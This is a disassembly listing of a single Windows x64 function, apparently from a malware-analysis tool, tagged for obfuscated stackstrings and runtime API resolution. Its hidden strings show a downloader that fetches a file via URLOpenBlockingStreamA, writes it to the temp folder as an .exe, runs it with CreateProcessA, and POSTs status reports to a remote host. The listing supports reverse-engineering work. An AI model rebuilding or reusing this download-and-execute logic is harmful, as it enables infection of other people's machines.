Function at 0x140007210
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x208]
sub rsp, 0x308
mov rax, qword [0x14003e040]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
mov qword [rsp + 0x78], r9
mov qword [rbp - 0x80], r8
mov r14, rdx
mov r15, rcx
mov qword [rsp + 0x70], rcx
xor r12d, r12d
mov eax, dword [0x14003ff20]
mov dword [rsp + 0x58], eax
mov qword [rbp + 0x164], r12
mov dword [rbp + 0x136], r12d
mov word [rbp + 0x13a], r12w
mov word [rbp + 0x1b9], r12w
mov byte [rbp + 0x1bb], r12b
mov word [rbp + 0x1d1], r12w
mov byte [rbp + 0x1d3], r12b
mov word [rbp + 0x1e9], r12w
mov byte [rbp + 0x1eb], r12b
mov dword [rbp + 0x158], 0x696e6957
mov dword [rbp + 0x15c], 0x2e74656e
mov dword [rbp + 0x160], 0x6c6c64
mov dword [rbp + 0x128], 0x65746e49
mov dword [rbp + 0x12c], 0x74656e72
mov dword [rbp + 0x130], 0x6e65704f
mov word [rbp + 0x134], 0x41
movdqa xmm0, xmmword [0x1400390a0]
movdqu xmmword [rbp + 0x1a8], xmm0
mov byte [rbp + 0x1b8], r12b
movdqa xmm1, xmmword [0x1400390c0]
movdqu xmmword [rbp + 0x1c0], xmm1
mov byte [rbp + 0x1d0], r12b
movdqa xmm0, xmmword [0x1400390b0]
movdqu xmmword [rbp + 0x1d8], xmm0
mov byte [rbp + 0x1e8], r12b
lea rcx, [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, [rbp + 0x128]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003feb0], rax
lea rdx, [rbp + 0x1a8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fef0], rax
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fec0], rax
lea rdx, [rbp + 0x1d8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fed0], rax
mov ecx, 0x9c4
call fcn.140012abc
mov rdi, rax
mov qword [rbp - 0x60], rax
xor edx, edx
mov r8d, 0x9c4
mov rcx, rax
call fcn.14002a9f0
lea rcx, [rbp - 0x10]
call fcn.140002100
nop
lea ecx, [r12 + 0xa]
call fcn.140012abc
mov rbx, rax
mov qword [rbp - 0x50], rax
xor eax, eax
mov qword [rbx], rax
mov word [rbx + 8], ax
mov word [rbx], 0x7064
lea ecx, [rax + 0xa]
call fcn.140012abc
mov qword [rbp - 0x70], rax
xor ecx, ecx
mov qword [rax], rcx
mov word [rax + 8], cx
mov word [rax], 0x7865
mov byte [rax + 2], 0x65
lea r9, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova r9, qword [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, str._s_s._s
mov rcx, rdi
call fcn.140001c70
lea ecx, [r12 + 0xa]
call fcn.140012abc
mov rbx, rax
mov qword [rbp - 0x68], rax
xor eax, eax
mov qword [rbx], rax
mov word [rbx + 8], ax
mov dword [rbx], 0x706d6554
mov ecx, 0x3e8
call fcn.14001bf24
mov rsi, rax
mov qword [rsp + 0x70], rax
xor edx, edx
mov r8d, 0x3e8
mov rcx, rax
call fcn.14002a9f0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x140], xmm0
mov dword [rbp + 0x150], eax
mov dword [rbp + 0x140], 0x6e72654b
mov dword [rbp + 0x144], 0x32336c65
mov dword [rbp + 0x148], 0x6c6c642e
mov byte [rbp + 0x14c], al
mov qword [rbp + 0x19c], 0x41656c
mov word [rbp + 0x1a4], r12w
movdqa xmm0, xmmword [0x140039100]
movdqu xmmword [rbp + 0x188], xmm0
mov dword [rbp + 0x198], 0x62616972
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x188]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fe98], rax
mov r8d, 0x3e8
mov rdx, rsi
mov rcx, rbx
call rax
mov ecx, 0x9c4
call fcn.140012abc
mov r13, rax
mov qword [rbp - 0x58], rax
xor edx, edx
mov r8d, 0x9c4
mov rcx, rax
call fcn.14002a9f0
mov r9, rdi
mov r8, rsi
lea rdx, [0x140038dd8]
mov rcx, r13
call fcn.140001c70
lea ecx, [r12 + 0xf]
call fcn.140012abc
mov rsi, rax
mov dword [rax + 0xb], r12d
mov dword [rax], 0x6d6c7255
mov dword [rax + 4], 0x642e6e6f
mov word [rax + 8], 0x6c6c
mov byte [rax + 0xa], r12b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea ecx, [r12 + 0x19]
call fcn.140012abc
mov rdi, rax
mov word [rax + 0x17], r12w
mov dword [rax], 0x4f4c5255
mov dword [rax + 4], 0x426e6570
mov dword [rax + 8], 0x6b636f6c
mov dword [rax + 0xc], 0x53676e69
mov dword [rax + 0x10], 0x61657274
mov word [rax + 0x14], 0x416d
mov byte [rax + 0x16], r12b
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fef8], rax
mov rcx, rsi
call fcn.140012570
mov rcx, rdi
call fcn.140012570
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp - 0x48]
mov rdx, r14
xor ecx, ecx
call qword [0x14003fef8]
test eax, eax
jne 0x140007fd0
mov ecx, 0x27100
call fcn.140012abc
mov r14, rax
xor edx, edx
mov r8d, 0x27100
mov rcx, rax
call fcn.14002a9f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov ebx, r12d
mov qword [rbp + 0x20], rbx
mov esi, 0xf
mov qword [rbp + 0x28], rsi
mov byte [rbp + 0x10], bl
lea ecx, [rsi + 5]
call fcn.140012abc
mov r12, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [r12], xmm0
mov dword [r12 + 0x10], eax
mov dword [r12], 0x6e72656b
mov dword [r12 + 4], 0x32336c65
mov dword [r12 + 8], 0x6c6c642e
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x50], rax
mov rcx, qword [rbp - 0x48]
mov rax, qword [rcx]
lea r9, [rbp - 0x40]
mov r8d, 0x27100
mov rdx, r14
call qword [rax + 0x18]
mov ecx, dword [rbp - 0x40]
test ecx, ecx
je 0x14000787a
mov edi, ecx
mov rax, rsi
sub rax, rbx
cmp rdi, rax
ja 0x1400076b9
lea rax, [rbx + rdi]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x10]
cmp rsi, 0xf
cmova rax, qword [rbp + 0x10]
add rbx, rax
mov r8d, edi
mov rdx, r14
mov rcx, rbx
call fcn.14002adb0
mov byte [rdi + rbx], 0
jmp 0x1400076cd
mov qword [rsp + 0x20], rdi
mov r9, r14
mov rdx, rdi
lea rcx, [rbp + 0x10]
call fcn.140009540
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x70]
call fcn.14000ae10
nop
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x30]
call fcn.140001520
nop
xor esi, esi
mov qword [rbp + 0x17c], rsi
mov dword [rbp + 0x170], 0x61657243
mov dword [rbp + 0x174], 0x69466574
mov dword [rbp + 0x178], 0x41656c
lea rdx, [rbp + 0x170]
mov rdi, qword [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fec8], rax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [rsi + 2]
mov rcx, r13
call rax
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400077c6
mov dword [rbp + 0x122], esi
mov byte [rbp + 0x126], sil
mov dword [rbp + 0x118], 0x74697257
mov dword [rbp + 0x11c], 0x6c694665
mov word [rbp + 0x120], 0x65
lea rdx, [rbp + 0x118]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003ff00], rax
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rdx, qword [rbp + 0x30]
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x38]
mov r8d, dword [rbp + 0x40]
mov rcx, rbx
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140007801
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400077fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000841a
call fcn.140012570
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x14000784f
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000784a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008420
call fcn.140012570
mov rcx, qword [rbp - 0x48]
mov rax, qword [rcx]
lea r9, [rbp - 0x40]
mov r8d, 0x27100
mov rdx, r14
call qword [rax + 0x18]
mov ecx, dword [rbp - 0x40]
mov rsi, qword [rbp + 0x28]
test ecx, ecx
je 0x14000787a
mov rbx, qword [rbp + 0x20]
jmp 0x140007680
mov rcx, qword [rbp - 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
movups xmmword [rbp + 0xa8], xmm0
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm0
movups xmmword [rbp + 0xd8], xmm0
movups xmmword [rbp + 0xe8], xmm0
mov dword [rbp + 0x90], 0x68
mov dword [rbp + 0xcc], 1
xor edi, edi
mov word [rbp + 0xd0], di
lea ecx, [rdi + 0x14]
call fcn.140012abc
mov rbx, rax
mov dword [rax + 0xf], edi
mov byte [rax + 0x13], dil
mov dword [rax], 0x61657243
mov dword [rax + 4], 0x72506574
mov dword [rax + 8], 0x7365636f
mov word [rax + 0xc], 0x4173
mov byte [rax + 0xe], dil
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003ff08], rax
lea rcx, [rbp + 0x100]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x90]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r13
call rax
mov rcx, r12
call fcn.140012570
mov rcx, rbx
call fcn.140012570
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop
inc r8
cmp byte [r8 + r13], 0
jne 0x140007970
mov rdx, r13
lea rcx, [rbp + 0x50]
call fcn.140001260
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x30]
call fcn.14000a020
nop
xor r13d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140040038]
call qword [0x14003feb0]
mov qword [rbp + 0x118], rax
test rax, rax
jne 0x140007b05
xorps xmm0, xmm0
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], r13
mov qword [r15 + 0x18], r13
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r15
call fcn.1400019f0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140007a1f
inc rdx
mov rcx, qword [rbp - 0x30]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140007a1a
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008426
call fcn.140012570
mov byte [rbp - 0x30], 0
mov qword [rbp - 0x18], 0xf
mov qword [rbp - 0x20], r13
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140007a6b
inc rdx
mov rcx, qword [rbp + 0x50]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140007a65
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000842c
call fcn.140012570
nop
cmp rsi, 0xf
jbe 0x140007aa4
lea rdx, [rsi + 1]
mov rcx, qword [rbp + 0x10]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140007a9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008402
call fcn.140012570
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140007adf
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007ada
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008408
call fcn.140012570
mov rax, r15
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140012550
add rsp, 0x308
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r13
xor r9d, r9d
movzx r8d, word [rbp + 0x288]
lea rdx, [0x140040050]
mov rcx, rax
call qword [0x14003fef0]
mov r12, rax
mov qword [rsp + 0x68], rax
test rax, rax
je 0x1400079c2
mov ecx, 0xa
call fcn.140012abc
mov rbx, rax
mov qword [rsp + 0x60], rax
xor eax, eax
mov qword [rbx], rax
mov word [rbx + 8], ax
mov dword [rbx], 0x54534f50
lea ecx, [rax + 0xa]
call fcn.140012abc
mov qword [rsp + 0x50], rax
mov dword [rax + 6], 0x312e
mov dword [rax], 0x50545448
mov word [rax + 4], 0x312f
mov qword [rsp + 0x38], r13
mov ecx, dword [rsp + 0x58]
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9, rax
lea r8, [0x14003ffc0]
mov rdx, rbx
mov rcx, r12
call qword [0x14003fec0]
mov qword [rsp + 0x58], rax
mov ecx, 0x64
call fcn.140012abc
mov r13, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [r13], xmm0
movups xmmword [r13 + 0x10], xmm0
movups xmmword [r13 + 0x20], xmm0
movups xmmword [r13 + 0x30], xmm0
movups xmmword [r13 + 0x40], xmm0
movups xmmword [r13 + 0x50], xmm0
mov dword [r13 + 0x60], eax
lea ecx, [rax + 0x46]
call fcn.140012abc
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov dword [rbx + 0x40], eax
mov word [rbx + 0x44], ax
lea ecx, [rax + 0xa]
call fcn.140012abc
mov r12, rax
xor eax, eax
mov qword [r12], rax
mov word [r12 + 8], ax
mov ecx, 0xbb8
call fcn.140012abc
mov qword [rbp - 0x38], rax
xor edx, edx
mov r8d, 0xbb8
mov rcx, rax
call fcn.14002a9f0
cmp qword [rsp + 0x58], 0
je 0x140007e6c
mov dword [rbx], 0x746e6f43
mov dword [rbx + 4], 0x2d746e65
mov dword [rbx + 8], 0x65707954
mov dword [rbx + 0xc], 0x7061203a
mov dword [rbx + 0x10], 0x63696c70
mov dword [rbx + 0x14], 0x6f697461
mov dword [rbx + 0x18], 0x2d782f6e
mov dword [rbx + 0x1c], 0x2d777777
mov dword [rbx + 0x20], 0x6d726f66
mov dword [rbx + 0x24], 0x6c72752d
mov dword [rbx + 0x28], 0x6f636e65
mov dword [rbx + 0x2c], 0x646564
mov rcx, rbx
mov rdx, r13
sub rdx, rbx
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140007cb2
mov dword [r12], 0x65757075
mov dword [r12 + 4], 0x786c636e
mov byte [r12 + 8], al
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rax, qword [rbp - 0x30]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x80]
mov r8, r12
lea rdx, str._s_s_s_s
mov rcx, qword [rbp - 0x38]
call fcn.140001c70
mov rax, rdi
mov rcx, qword [rbp - 0x38]
inc rax
cmp byte [rcx + rax], 0
jne 0x140007d11
nop word [rax + rax]
inc rdi
cmp byte [rdi + r13], 0
jne 0x140007d20
mov r8, rdi
mov dword [rsp + 0x20], eax
mov r9, rcx
mov rdx, r13
mov rcx, qword [rsp + 0x58]
call qword [0x14003fed0]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call fcn.140012570
mov rcx, qword [rsp + 0x60]
call fcn.140012570
mov rcx, qword [rsp + 0x50]
call fcn.140012570
mov rcx, r13
call fcn.140012570
mov rcx, rbx
call fcn.140012570
mov rcx, r12
call fcn.140012570
mov rcx, qword [rbp - 0x38]
call fcn.140012570
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140007dde
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007dd9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008426
call fcn.140012570
xor ebx, ebx
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], bl
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140007e2b
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000842c
call fcn.140012570
nop
cmp rsi, 0xf
jbe 0x14000834a
lea rdx, [rsi + 1]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008402
call fcn.140012570
jmp 0x14000834a
mov rcx, r14
call fcn.140012570
mov rcx, qword [rsp + 0x60]
call fcn.140012570
mov rcx, qword [rsp + 0x50]
call fcn.140012570
mov rcx, r13
call fcn.140012570
mov rcx, rbx
call fcn.140012570
mov rcx, r12
call fcn.140012570
mov rcx, qword [rbp - 0x38]
call fcn.140012570
xorps xmm0, xmm0
movups xmmword [r15], xmm0
xor ebx, ebx
mov qword [r15 + 0x10], rbx
mov qword [r15 + 0x18], rbx
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r15
call fcn.1400019f0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140007f08
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008426
call fcn.140012570
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140007f54
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000842c
call fcn.140012570
nop
cmp rsi, 0xf
jbe 0x140007f8d
lea rdx, [rsi + 1]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008402
call fcn.140012570
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140007adf
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007ada
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008408
jmp 0x140007ada
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140040038]
call qword [0x14003feb0]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x140008059
xorps xmm0, xmm0
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], r12
mov qword [r15 + 0x18], r12
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r15
call fcn.1400019f0
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140007adf
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007ada
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000840e
jmp 0x140007ada
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r12
xor r9d, r9d
movzx r8d, word [rbp + 0x288]
lea rdx, [0x140040050]
mov rcx, rax
call qword [0x14003fef0]
mov rdi, rax
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140007ff4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp - 0x40], eax
mov ecx, 0xa
call fcn.140012abc
mov rbx, rax
mov qword [rsp + 0x60], rax
xor eax, eax
mov qword [rbx], rax
mov word [rbx + 8], ax
mov dword [rbx], 0x54534f50
lea ecx, [rax + 0xa]
call fcn.140012abc
mov r12, rax
mov dword [rax + 6], 0x312e
mov dword [rax], 0x50545448
mov word [rax + 4], 0x312f
xor eax, eax
mov qword [rsp + 0x38], rax
mov ecx, dword [rsp + 0x58]
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
mov r9, r12
lea r8, [0x14003ffc0]
mov rdx, rbx
mov rcx, rdi
call qword [0x14003fec0]
mov rdi, rax
mov qword [rbp + 0x118], rax
mov ecx, 0x64
call fcn.140012abc
mov rsi, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi + 0x20], xmm0
movups xmmword [rsi + 0x30], xmm0
movups xmmword [rsi + 0x40], xmm0
movups xmmword [rsi + 0x50], xmm0
mov dword [rsi + 0x60], eax
lea ecx, [rax + 0x46]
call fcn.140012abc
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov dword [rbx + 0x40], eax
mov word [rbx + 0x44], ax
lea ecx, [rax + 0xa]
call fcn.140012abc
mov r14, rax
xor eax, eax
mov qword [r14], rax
mov word [r14 + 8], ax
mov ecx, 0x3e8
call fcn.140012abc
mov r13, rax
xor edx, edx
mov r8d, 0x3e8
mov rcx, rax
call fcn.14002a9f0
test rdi, rdi
jne 0x14000820d
xorps xmm0, xmm0
movups xmmword [r15], xmm0
xor ebx, ebx
mov qword [r15 + 0x10], rbx
mov qword [r15 + 0x18], rbx
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r15
call fcn.1400019f0
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140007adf
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007ada
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000840e
jmp 0x140007ada
mov dword [rbx], 0x746e6f43
mov dword [rbx + 4], 0x2d746e65
mov dword [rbx + 8], 0x65707954
mov dword [rbx + 0xc], 0x7061203a
mov dword [rbx + 0x10], 0x63696c70
mov dword [rbx + 0x14], 0x6f697461
mov dword [rbx + 0x18], 0x2d782f6e
mov dword [rbx + 0x1c], 0x2d777777
mov dword [rbx + 0x20], 0x6d726f66
mov dword [rbx + 0x24], 0x6c72752d
mov dword [rbx + 0x28], 0x6f636e65
mov dword [rbx + 0x2c], 0x646564
mov rcx, rbx
mov rdx, rsi
sub rdx, rbx
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140008270
mov dword [r14], 0x6b6f6175
mov dword [r14 + 4], 0x727265
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp - 0x40]
mov r8, r14
lea rdx, str._s_d____s____s
mov rcx, r13
call fcn.140001c70
mov rdi, 0xffffffffffffffff
mov rax, rdi
inc rax
cmp byte [rax + r13], 0
jne 0x1400082c0
nop word [rax + rax]
inc rdi
cmp byte [rsi + rdi], 0
jne 0x1400082d0
mov r8, rdi
mov dword [rsp + 0x20], eax
mov r9, r13
mov rdx, rsi
mov rcx, qword [rbp + 0x118]
call qword [0x14003fed0]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call fcn.140012570
mov rcx, rbx
call fcn.140012570
mov rcx, r14
call fcn.140012570
mov rcx, r13
call fcn.140012570
mov rcx, qword [rsp + 0x60]
call fcn.140012570
mov rcx, r12
call fcn.140012570
xor ebx, ebx
mov rcx, qword [rbp - 0x60]
call fcn.140012570
mov rcx, qword [rbp - 0x58]
call fcn.140012570
mov rcx, qword [rbp - 0x50]
call fcn.140012570
mov rcx, qword [rbp - 0x70]
call fcn.140012570
mov rcx, qword [rbp - 0x68]
call fcn.140012570
mov rcx, qword [rsp + 0x70]
call fcn.14001baf8
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rax, qword [rbp - 0x10]
mov qword [rbp], rbx
mov byte [rax], 0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], rbx
mov qword [r15 + 0x18], rbx
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r15
call fcn.1400019f0
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140007adf
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007ada
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008414
jmp 0x140007ada
call fcn.140019138
nop
call fcn.140019138
int3
call fcn.140019138
int3
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
int3